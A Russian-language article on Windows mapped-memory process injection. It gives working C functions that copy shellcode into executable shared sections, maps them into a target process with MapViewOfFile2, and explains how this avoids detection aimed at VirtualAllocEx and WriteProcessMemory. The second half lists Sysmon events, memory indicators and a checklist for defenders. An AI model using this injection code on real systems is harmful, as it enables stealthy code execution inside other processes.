Что такое mapped memory и зачем он нужен атакующему
Отображаемая память (memory-mapped file) — механизм Windows, который проецирует содержимое файла или анонимного раздела в виртуальное адресное пространство процесса. Изначально он предназначен для работы с большими файлами и межпроцессного взаимодействия (IPC), но атакующие используют его как альтернативу классическим
VirtualAllocEx + WriteProcessMemory при инъекции кода.Преимущество для атакующего: не вызываются
VirtualAllocEx и WriteProcessMemory — две функции, на которые настроено большинство правил детектирования. Вместо них используется цепочка CreateFileMapping → MapViewOfFile → MapViewOfFile2, которая выглядит менее подозрительно для статических сигнатур.Два типа отображаемых файлов
| Тип | Привязка к диску | Время жизни | Типичное применение |
|---|---|---|---|
| Персистентный | Да, связан с файлом на диске | Данные сохраняются после закрытия последнего дескриптора | Работа с большими файлами |
| Неперсистентный (анонимный) | Нет | Данные теряются при закрытии последнего дескриптора | IPC, инъекции |
Для инъекций используется именно анонимный вариант:
CreateFileMapping вызывается с INVALID_HANDLE_VALUE вместо дескриптора реального файла. Раздел существует только в памяти и не оставляет артефактов на диске.Механика локальной инъекции
Локальная инъекция проецирует полезную нагрузку в адресное пространство собственного процесса. Последовательность:
CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, payloadSize, NULL)— создаёт анонимный раздел с правами на исполнение.
MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, 0, 0, payloadSize)— проецирует раздел в текущий процесс.
memcpyкопирует шеллкод в полученный адрес.
C:
#include <windows.h>
#include <stdio.h>
BOOL LocalMapInject(IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {
BOOL bSTATE = TRUE;
HANDLE hFile = NULL;
PVOID pMapAddress = NULL;
hFile = CreateFileMappingW(
INVALID_HANDLE_VALUE,
NULL,
PAGE_EXECUTE_READWRITE,
0,
(DWORD)sPayloadSize,
NULL
);
if (hFile == NULL) {
printf("[!] CreateFileMapping failed: %lu\n", GetLastError());
bSTATE = FALSE;
goto _End;
}
pMapAddress = MapViewOfFile(
hFile,
FILE_MAP_WRITE | FILE_MAP_EXECUTE,
0, 0,
sPayloadSize
);
if (pMapAddress == NULL) {
printf("[!] MapViewOfFile failed: %lu\n", GetLastError());
bSTATE = FALSE;
goto _End;
}
memcpy(pMapAddress, pPayload, sPayloadSize);
_End:
*ppAddress = pMapAddress;
if (hFile) CloseHandle(hFile);
return bSTATE;
}
После
CloseHandle(hFile) раздел продолжает существовать, пока на него есть хотя бы одно активное представление (MapViewOfFile). Это важно для понимания времени жизни артефактов.Механика удалённой инъекции через MapViewOfFile2
Удалённая инъекция добавляет один шаг: проекцию того же раздела в адресное пространство целевого процесса. Ключевая функция —
MapViewOfFile2, которая принимает дескриптор целевого процесса и проецирует раздел напрямую в его адресное пространство.
C:
PVOID MapViewOfFile2(
HANDLE FileMappingHandle,
HANDLE ProcessHandle,
ULONG64 Offset,
PVOID BaseAddress,
SIZE_T ViewSize,
ULONG AllocationType,
ULONG PageProtection
);
Параметр
ProcessHandle требует маски доступа PROCESS_VM_OPERATION. PageProtection задаёт защиту страниц в целевом процессе — для исполнения шеллкода обычно PAGE_EXECUTE_READWRITE.Полная цепочка удалённой инъекции:
CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, size, NULL)— анонимный раздел.
MapViewOfFile(hFile, FILE_MAP_WRITE, 0, 0, size)— локальная проекция для записи.
memcpy— копирование полезной нагрузки.
MapViewOfFile2(hFile, hTargetProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READWRITE)— проекция в целевой процесс.
- Запуск исполнения:
CreateRemoteThread, APC-очередь или перезапись точки входа.
C:
BOOL RemoteMapInject(IN HANDLE hProcess, IN PBYTE pPayload,
IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {
BOOL bSTATE = TRUE;
HANDLE hFile = NULL;
PVOID pMapLocalAddress = NULL;
PVOID pMapRemoteAddress = NULL;
hFile = CreateFileMappingW(
INVALID_HANDLE_VALUE, NULL,
PAGE_EXECUTE_READWRITE,
0, (DWORD)sPayloadSize, NULL
);
if (hFile == NULL) {
bSTATE = FALSE;
goto _End;
}
pMapLocalAddress = MapViewOfFile(hFile, FILE_MAP_WRITE, 0, 0, sPayloadSize);
if (pMapLocalAddress == NULL) {
bSTATE = FALSE;
goto _End;
}
memcpy(pMapLocalAddress, pPayload, sPayloadSize);
pMapRemoteAddress = MapViewOfFile2(
hFile, hProcess,
0, NULL, 0, 0,
PAGE_EXECUTE_READWRITE
);
if (pMapRemoteAddress == NULL) {
bSTATE = FALSE;
goto _End;
}
_End:
*ppAddress = pMapRemoteAddress;
if (hFile) CloseHandle(hFile);
return bSTATE;
}
Почему это сложнее детектировать
Классическая инъекция через
VirtualAllocEx + WriteProcessMemory детектируется по нескольким признакам: вызов VirtualAllocEx с PAGE_EXECUTE_READWRITE из внешнего процесса, последовательная запись WriteProcessMemory, создание удалённого потока. Mapped memory injection ломает эту цепочку:- Нет вызова
VirtualAllocExв целевом процессе — память выделяет менеджер секций ядра.
- Нет
WriteProcessMemory— данные попадают в целевой процесс через общий раздел.
MapViewOfFile2вызывается из атакующего процесса, а не из целевого, что меняет картину в логах.
Артефакты для защитника
Несмотря на отсутствие «классических» индикаторов, mapped memory injection оставляет собственные следы.
Sysmon и события доступа к процессам
| Событие | Что фиксирует | На что смотреть |
|---|---|---|
| Sysmon Event 10 (ProcessAccess) | Открытие дескриптора целевого процесса | GrantedAccess содержит PROCESS_VM_OPERATION |
| Sysmon Event 8 (CreateRemoteThread) | Создание потока в удалённом процессе | StartAddress указывает на регион без привязки к модулю |
Анализ памяти процесса
Регионы, созданные через
MapViewOfFile2, имеют тип MEM_MAPPED (а не MEM_PRIVATE, как при VirtualAllocEx). Это видно через VirtualQueryEx или !address в WinDbg:
Код:
!address <адрес>
Usage: <unclassified>
Base Address: 0x000001a2b3c40000
End Address: 0x000001a2b3c50000
Region Size: 0x0000000000010000
State: 0x1000 MEM_COMMIT
Protect: 0x40 PAGE_EXECUTE_READWRITE
Type: 0x40000 MEM_MAPPED
Ключевой индикатор:
MEM_MAPPED + PAGE_EXECUTE_READWRITE в регионе, который не привязан к известному файлу на диске. Легитимные mapped-регионы обычно имеют PAGE_READONLY или PAGE_READWRITE и связаны с DLL, EXE или файлами данных.Поведенческие признаки
- Процесс открывает другой процесс с
PROCESS_VM_OPERATION, но не вызываетWriteProcessMemory.
- В целевом процессе появляется исполняемый регион типа
MEM_MAPPEDбез backing file.
- Новый поток стартует с адреса внутри
MEM_MAPPEDрегиона.
- Раздел создан с
INVALID_HANDLE_VALUE(анонимный) и имеет размер, кратный размеру страницы, но не соответствует ни одному загруженному модулю.
Ограничения и нюансы техники
MapViewOfFile2— относительно новая функция. На системах, где она недоступна, атакующему приходится использоватьNtMapViewOfSectionнапрямую через syscall или черезntdll.
- Защита
PAGE_EXECUTE_READWRITEна всём регионе — грубый индикатор. Более продвинутые реализации используютPAGE_EXECUTE_READи разделяют запись/исполнение по разным представлениям одного раздела.
- Дескриптор раздела (
hFile) должен оставаться валидным на момент вызоваMapViewOfFile2. После проекции в целевой процесс раздел привязан к обоим процессам, и его время жизни определяется последним закрытым представлением.
Сравнение с другими техниками инъекции
| Техника | Выделение памяти | Запись | Исполнение | Тип региона |
|---|---|---|---|---|
| VirtualAllocEx + WriteProcessMemory | VirtualAllocEx | WriteProcessMemory | CreateRemoteThread | MEM_PRIVATE |
| Mapped memory (MapViewOfFile2) | CreateFileMapping | memcpy в локальное представление | CreateRemoteThread / APC | MEM_MAPPED |
| Process Hollowing | Н/Д (процесс создаётся suspended) | NtUnmapViewOfSection + NtWriteVirtualMemory | NtResumeThread | MEM_IMAGE |
| APC Injection | Зависит от реализации | Зависит от реализации | NtQueueApcThread | Зависит от реализации |
Подробнее о механизмах APC-инъекции и их артефактах — в APC Injection в Windows: механизм выполнения и признаки, которые может увидеть защитник. Общий обзор техник процессной инъекции и подходов к детектированию — в Process Injection в Windows: механизм на уровне концепции и артефакты для детектирования.
Практический чек-лист для защитника
- Мониторить
ProcessAccessсобытия с маскойPROCESS_VM_OPERATIONбез последующегоWriteProcessMemory.
- Сканировать память процессов на регионы
MEM_MAPPED+PAGE_EXECUTE_READWRITEбез backing file.
- Отслеживать создание потоков с
StartAddress, попадающим вMEM_MAPPEDрегион.
- Проверять, что
CreateFileMappingвызывается сINVALID_HANDLE_VALUEиPAGE_EXECUTE_READWRITE— это аномальная комбинация для легитимного ПО.
- Коррелировать события: если процесс A создал раздел, а процесс B получил его проекцию с правами исполнения — это повод для алерта.
- При анализе дампа памяти обращать внимание на регионы
MEM_MAPPEDбез привязки к файлу — это потенциальный индикатор инъекции через отображаемую память.
